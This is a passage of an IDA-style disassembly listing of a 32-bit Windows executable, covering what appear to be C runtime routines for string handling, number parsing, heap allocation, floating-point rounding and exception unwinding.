[ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4158CC: ; CODE XREF: sub_4155B0+1B7j ; sub_4155B0:loc_415794j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4155B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4158F0 proc near ; CODE XREF: seg000:004011AEp ; seg000:004011CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41593C loc_415900: ; CODE XREF: sub_4158F0+3Cj ; sub_4158F0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_415934 or al, al jz short loc_415930 cmp ah, [ecx+1] jnz short loc_415934 or ah, ah jz short loc_415930 shr eax, 10h cmp al, [ecx+2] jnz short loc_415934 or al, al jz short loc_415930 cmp ah, [ecx+3] jnz short loc_415934 add ecx, 4 add edx, 4 or ah, ah jnz short loc_415900 mov edi, edi loc_415930: ; CODE XREF: sub_4158F0+18j ; sub_4158F0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_415934: ; CODE XREF: sub_4158F0+14j ; sub_4158F0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41593C: ; CODE XREF: sub_4158F0+Ej test edx, 1 jz short loc_415958 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_415934 inc ecx or al, al jz short loc_415930 test edx, 2 jz short loc_415900 loc_415958: ; CODE XREF: sub_4158F0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_415934 or al, al jz short loc_415930 cmp ah, [ecx+1] jnz short loc_415934 or ah, ah jz short loc_415930 add ecx, 2 jmp short loc_415900 sub_4158F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415980 proc near ; CODE XREF: seg000:00401250p ; sub_41AD1D+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_415999 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_415999: ; CODE XREF: sub_415980+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_415980 endp ; =============== S U B R O U T I N E ======================================= sub_4159B4 proc near ; CODE XREF: sub_415A3F+4p ; sub_41E142+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4159BC: ; CODE XREF: sub_4159B4+34j cmp ds:dword_437F5C, 1 jle short loc_4159D4 movzx eax, byte ptr [edi] push 8 push eax call sub_418536 pop ecx pop ecx jmp short loc_4159E3 ; --------------------------------------------------------------------------- loc_4159D4: ; CODE XREF: sub_4159B4+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_437D50 mov al, [ecx+eax*2] and eax, 8 loc_4159E3: ; CODE XREF: sub_4159B4+1Ej test eax, eax jz short loc_4159EA inc edi jmp short loc_4159BC ; --------------------------------------------------------------------------- loc_4159EA: ; CODE XREF: sub_4159B4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4159FA cmp esi, 2Bh jnz short loc_4159FE loc_4159FA: ; CODE XREF: sub_4159B4+3Fj movzx esi, byte ptr [edi] inc edi loc_4159FE: ; CODE XREF: sub_4159B4+44j xor ebx, ebx loc_415A00: ; CODE XREF: sub_4159B4+7Bj cmp ds:dword_437F5C, 1 jle short loc_415A15 push 4 push esi call sub_418536 pop ecx pop ecx jmp short loc_415A20 ; --------------------------------------------------------------------------- loc_415A15: ; CODE XREF: sub_4159B4+53j mov eax, ds:off_437D50 mov al, [eax+esi*2] and eax, 4 loc_415A20: ; CODE XREF: sub_4159B4+5Fj test eax, eax jz short loc_415A31 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_415A00 ; --------------------------------------------------------------------------- loc_415A31: ; CODE XREF: sub_4159B4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_415A3A neg eax loc_415A3A: ; CODE XREF: sub_4159B4+82j pop edi pop esi pop ebp pop ebx retn sub_4159B4 endp ; =============== S U B R O U T I N E ======================================= sub_415A3F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4159B4 pop ecx retn sub_415A3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A4A proc near ; CODE XREF: sub_401BD6+460p ; seg000:004021D3p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_417D2C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415A89 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415A96 ; --------------------------------------------------------------------------- loc_415A89: ; CODE XREF: sub_415A4A+35j lea eax, [ebp+var_20] push eax push 0 call sub_417C17 pop ecx pop ecx loc_415A96: ; CODE XREF: sub_415A4A+3Dj mov eax, esi pop esi leave retn sub_415A4A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415AA0 proc near ; CODE XREF: sub_401BD6+2D8p ; sub_401BD6+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_415B1A mov dh, [ecx+1] test dh, dh jz short loc_415B07 loc_415AB8: ; CODE XREF: sub_415AA0+52j ; sub_415AA0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_415ADA test al, al jz short loc_415AD4 loc_415AC9: ; CODE XREF: sub_415AA0+32j mov al, [esi] inc esi loc_415ACC: ; CODE XREF: sub_415AA0+3Fj cmp al, dl jz short loc_415ADA test al, al jnz short loc_415AC9 loc_415AD4: ; CODE XREF: sub_415AA0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_415ADA: ; CODE XREF: sub_415AA0+23j ; sub_415AA0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_415ACC lea edi, [esi-1] loc_415AE4: ; CODE XREF: sub_415AA0+63j mov ah, [ecx+2] test ah, ah jz short loc_415B13 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_415AB8 mov al, [ecx+3] test al, al jz short loc_415B13 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_415AE4 jmp short loc_415AB8 ; --------------------------------------------------------------------------- loc_415B07: ; CODE XREF: sub_415AA0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_417066 ; --------------------------------------------------------------------------- loc_415B13: ; CODE XREF: sub_415AA0+49j ; sub_415AA0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_415B1A: ; CODE XREF: sub_415AA0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_415AA0 endp ; =============== S U B R O U T I N E ======================================= sub_415B20 proc near ; CODE XREF: seg000:004021AEp ; seg000:00405AE9p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_415B35 or eax, 0FFFFFFFFh jmp short loc_415B6F ; --------------------------------------------------------------------------- loc_415B35: ; CODE XREF: sub_415B20+Ej test al, 83h jz short loc_415B6D push esi call sub_4186C4 push esi mov edi, eax call sub_41865E push dword ptr [esi+10h] call sub_4185AB add esp, 0Ch test eax, eax jge short loc_415B5B or edi, 0FFFFFFFFh jmp short loc_415B6D ; --------------------------------------------------------------------------- loc_415B5B: ; CODE XREF: sub_415B20+34j mov eax, [esi+1Ch] test eax, eax jz short loc_415B6D push eax call sub_415E1D and dword ptr [esi+1Ch], 0 pop ecx loc_415B6D: ; CODE XREF: sub_415B20+17j ; sub_415B20+39j ... mov eax, edi loc_415B6F: ; CODE XREF: sub_415B20+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_415B20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B76 proc near ; CODE XREF: seg000:004021A8p ; seg000:0040F83Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_418796 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_417D2C push [ebp+arg_0] mov edi, eax push esi call sub_418823 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_415B76 endp ; =============== S U B R O U T I N E ======================================= sub_415BA8 proc near ; CODE XREF: sub_415BC8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4189D0 test eax, eax jnz short loc_415BB2 retn ; --------------------------------------------------------------------------- loc_415BB2: ; CODE XREF: sub_415BA8+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418860 add esp, 10h retn sub_415BA8 endp ; =============== S U B R O U T I N E ======================================= sub_415BC8 proc near ; CODE XREF: seg000:0040216Ep ; seg000:00406D56p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_415BA8 add esp, 0Ch retn sub_415BC8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_405B07+2BFp ; sub_40998E+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_415C51 sub_415BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415BF0 proc near ; CODE XREF: seg000:0040214Cp ; seg000:0040215Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_415C0C loc_415BFD: ; CODE XREF: sub_415BF0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_415C3F test ecx, 3 jnz short loc_415BFD loc_415C0C: ; CODE XREF: sub_415BF0+Bj ; sub_415BF0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415C0C mov eax, [ecx-4] test al, al jz short loc_415C4E test ah, ah jz short loc_415C49 test eax, 0FF0000h jz short loc_415C44 test eax, 0FF000000h jz short loc_415C3F jmp short loc_415C0C ; --------------------------------------------------------------------------- loc_415C3F: ; CODE XREF: sub_415BF0+12j ; sub_415BF0+4Bj lea edi, [ecx-1] jmp short loc_415C51 ; --------------------------------------------------------------------------- loc_415C44: ; CODE XREF: sub_415BF0+44j lea edi, [ecx-2] jmp short loc_415C51 ; --------------------------------------------------------------------------- loc_415C49: ; CODE XREF: sub_415BF0+3Dj lea edi, [ecx-3] jmp short loc_415C51 ; --------------------------------------------------------------------------- loc_415C4E: ; CODE XREF: sub_415BF0+39j lea edi, [ecx-4] loc_415C51: ; CODE XREF: sub_415BE0+5j ; sub_415BF0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_415C76 loc_415C5D: ; CODE XREF: sub_415BF0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_415CC8 mov [edi], dl inc edi test ecx, 3 jnz short loc_415C5D jmp short loc_415C76 ; --------------------------------------------------------------------------- loc_415C71: ; CODE XREF: sub_415BF0+9Ej ; sub_415BF0+B8j mov [edi], edx add edi, 4 loc_415C76: ; CODE XREF: sub_415BF0+6Bj ; sub_415BF0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_415C71 test dl, dl jz short loc_415CC8 test dh, dh jz short loc_415CBF test edx, 0FF0000h jz short loc_415CB2 test edx, 0FF000000h jz short loc_415CAA jmp short loc_415C71 ; --------------------------------------------------------------------------- loc_415CAA: ; CODE XREF: sub_415BF0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CB2: ; CODE XREF: sub_415BF0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_415CBF: ; CODE XREF: sub_415BF0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CC8: ; CODE XREF: sub_415BF0+72j ; sub_415BF0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_415BF0 endp ; =============== S U B R O U T I N E ======================================= sub_415CD0 proc near ; CODE XREF: seg000:004023A2p ; seg000:loc_4023B5p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_415CF0 loc_415CDC: ; CODE XREF: sub_415CD0+19j mov al, [ecx] inc ecx test al, al jz short loc_415D23 test ecx, 3 jnz short loc_415CDC add eax, 0 loc_415CF0: ; CODE XREF: sub_415CD0+Aj ; sub_415CD0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415CF0 mov eax, [ecx-4] test al, al jz short loc_415D41 test ah, ah jz short loc_415D37 test eax, 0FF0000h jz short loc_415D2D test eax, 0FF000000h jz short loc_415D23 jmp short loc_415CF0 ; --------------------------------------------------------------------------- loc_415D23: ; CODE XREF: sub_415CD0+11j ; sub_415CD0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D2D: ; CODE XREF: sub_415CD0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D37: ; CODE XREF: sub_415CD0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415D41: ; CODE XREF: sub_415CD0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_415CD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415D50 proc near ; CODE XREF: seg000:004024E4p ; sub_402988+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_415D70 loc_415D5C: ; CODE XREF: sub_415D50+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_415D5C loc_415D70: ; CODE XREF: sub_415D50+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_415D50 endp ; =============== S U B R O U T I N E ======================================= sub_415D7F proc near ; CODE XREF: sub_402FDD+7Ap ; sub_402FDD+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_415D93 loc_415D8B: ; CODE XREF: sub_415D7F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_415D8B loc_415D93: ; CODE XREF: sub_415D7F+Aj mov edx, [esp+arg_4] push esi loc_415D98: ; CODE XREF: sub_415D7F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_415D98 pop esi retn sub_415D7F endp ; =============== S U B R O U T I N E ======================================= sub_415DA9 proc near ; CODE XREF: sub_403178+220p ; sub_4033CB+C1p ... arg_0 = dword ptr 4 push ds:dword_4694D4 push [esp+4+arg_0] call sub_415DBB pop ecx pop ecx retn sub_415DA9 endp ; =============== S U B R O U T I N E ======================================= sub_415DBB proc near ; CODE XREF: sub_415DA9+Ap ; sub_4167A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_415DE4 loc_415DC2: ; CODE XREF: sub_415DBB+27j push [esp+arg_0] call sub_415DE7 test eax, eax pop ecx jnz short locret_415DE6 cmp [esp+arg_4], eax jz short locret_415DE6 push [esp+arg_0] call sub_418A48 test eax, eax pop ecx jnz short loc_415DC2 loc_415DE4: ; CODE XREF: sub_415DBB+5j xor eax, eax locret_415DE6: ; CODE XREF: sub_415DBB+13j ; sub_415DBB+19j retn sub_415DBB endp ; =============== S U B R O U T I N E ======================================= sub_415DE7 proc near ; CODE XREF: sub_415DBB+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, ds:dword_437F6C ja short loc_415DFF push esi call sub_418E33 test eax, eax pop ecx jnz short loc_415E1B loc_415DFF: ; CODE XREF: sub_415DE7+Bj test esi, esi jnz short loc_415E06 push 1 pop esi loc_415E06: ; CODE XREF: sub_415DE7+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_46AAE0 call ds:dword_42114C ; RtlAllocateHeap loc_415E1B: ; CODE XREF: sub_415DE7+16j pop esi retn sub_415DE7 endp ; =============== S U B R O U T I N E ======================================= sub_415E1D proc near ; CODE XREF: sub_4033CB+10Ep ; sub_4033CB+116p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_415E4A push esi call sub_418ADD pop ecx test eax, eax push esi jz short loc_415E3C push eax call sub_418B08 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_415E3C: ; CODE XREF: sub_415E1D+13j push 0 push ds:dword_46AAE0 call ds:dword_421150 ; RtlFreeHeap loc_415E4A: ; CODE XREF: sub_415E1D+7j pop esi retn sub_415E1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415E4C(double) sub_415E4C proc near ; CODE XREF: sub_40465E+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_437D10 call sub_419E06 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415ED2 call sub_419CCE pop ecx test eax, eax pop ecx jle short loc_415EB5 cmp eax, 2 jle short loc_415EA7 cmp eax, 3 jnz short loc_415EB5 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_4195DE add esp, 10h jmp short loc_415F17 ; --------------------------------------------------------------------------- loc_415EA7: ; CODE XREF: sub_415E4C+3Fj push esi push ebx call sub_419E06 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415F17 ; --------------------------------------------------------------------------- loc_415EB5: ; CODE XREF: sub_415E4C+3Aj ; sub_415E4C+44j fld [ebp+arg_0] fadd ds:dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_415F0F ; --------------------------------------------------------------------------- loc_415ED2: ; CODE XREF: sub_415E4C+2Fj call sub_419C93 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415EF5 loc_415EE7: ; CODE XREF: sub_415E4C+ACj push esi push ebx call sub_419E06 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415F17 ; --------------------------------------------------------------------------- loc_415EF5: ; CODE XREF: sub_415E4C+99j test bl, 20h jnz short loc_415EE7 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_415F0F: ; CODE XREF: sub_415E4C+84j call sub_419631 add esp, 1Ch loc_415F17: ; CODE XREF: sub_415E4C+59j ; sub_415E4C+67j ... pop esi pop ebx leave retn sub_415E4C endp ; =============== S U B R O U T I N E ======================================= sub_415F1B proc near ; CODE XREF: sub_4177DA+9p ; sub_419ECF+21p ; DATA XREF: ... call sub_415F33 call sub_419ECF mov ds:dword_469454, eax call sub_419E7F fnclex retn sub_415F1B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_415F33 proc near ; CODE XREF: sub_415F1Bp mov eax, offset sub_41A2BD mov ds:off_43808C, offset sub_419F52 mov ds:off_438088, eax mov ds:off_438090, offset sub_419FB8 mov ds:off_438094, offset sub_419EF8 mov ds:off_438098, offset sub_419FA0 mov ds:off_43809C, eax retn sub_415F33 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F6C proc near ; CODE XREF: sub_40465E+1Bp ; sub_40465E+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_415F6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415F93(double) sub_415F93 proc near ; CODE XREF: sub_4046AA+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_437D28 call sub_419E06 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_416019 call sub_419CCE pop ecx test eax, eax pop ecx jle short loc_415FFC cmp eax, 2 jle short loc_415FEE cmp eax, 3 jnz short loc_415FFC fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_4195DE add esp, 10h jmp short loc_41605E ; --------------------------------------------------------------------------- loc_415FEE: ; CODE XREF: sub_415F93+3Fj push esi push ebx call sub_419E06 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41605E ; --------------------------------------------------------------------------- loc_415FFC: ; CODE XREF: sub_415F93+3Aj ; sub_415F93+44j fld [ebp+arg_0] fadd ds:dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_416056 ; --------------------------------------------------------------------------- loc_416019: ; CODE XREF: sub_415F93+2Fj call sub_419C93 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41603C loc_41602E: ; CODE XREF: sub_415F93+ACj push esi push ebx call sub_419E06 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41605E ; --------------------------------------------------------------------------- loc_41603C: ; CODE XREF: sub_415F93+99j test bl, 20h jnz short loc_41602E fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_416056: ; CODE XREF: sub_415F93+84j call sub_419631 add esp, 1Ch loc_41605E: ; CODE XREF: sub_415F93+59j ; sub_415F93+67j ... pop esi pop ebx leave retn sub_415F93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416062 proc near ; CODE XREF: sub_41A72E+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_416062 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_416096 proc near ; CODE XREF: sub_41A8DF+199p ; sub_41AAA3+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_416096 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41609D proc near ; CODE XREF: sub_41A8DF+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41609D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160A4 proc near ; CODE XREF: sub_416256+5Cp ; sub_41A72E:loc_41A75Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_4160CC push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_4200EC ; RtlUnwind loc_4160CC: ; DATA XREF: sub_4160A4+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_4160A4 endp ; --------------------------------------------------------------------------- loc_4160F3: ; CODE XREF: seg000:00420248j ; seg000:00420265j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41A333 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416129 proc near ; CODE XREF: sub_41A7A9+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41617D inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41AB30 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_416129 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41617D proc near ; DATA XREF: sub_416129+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A333 add esp, 20h pop ebp retn sub_41617D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161A2 proc near ; CODE XREF: sub_41A575+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_416256 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_416228 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_4694F4 pop ecx pop ecx and [ebp+var_34], 0 loc_416228: ; 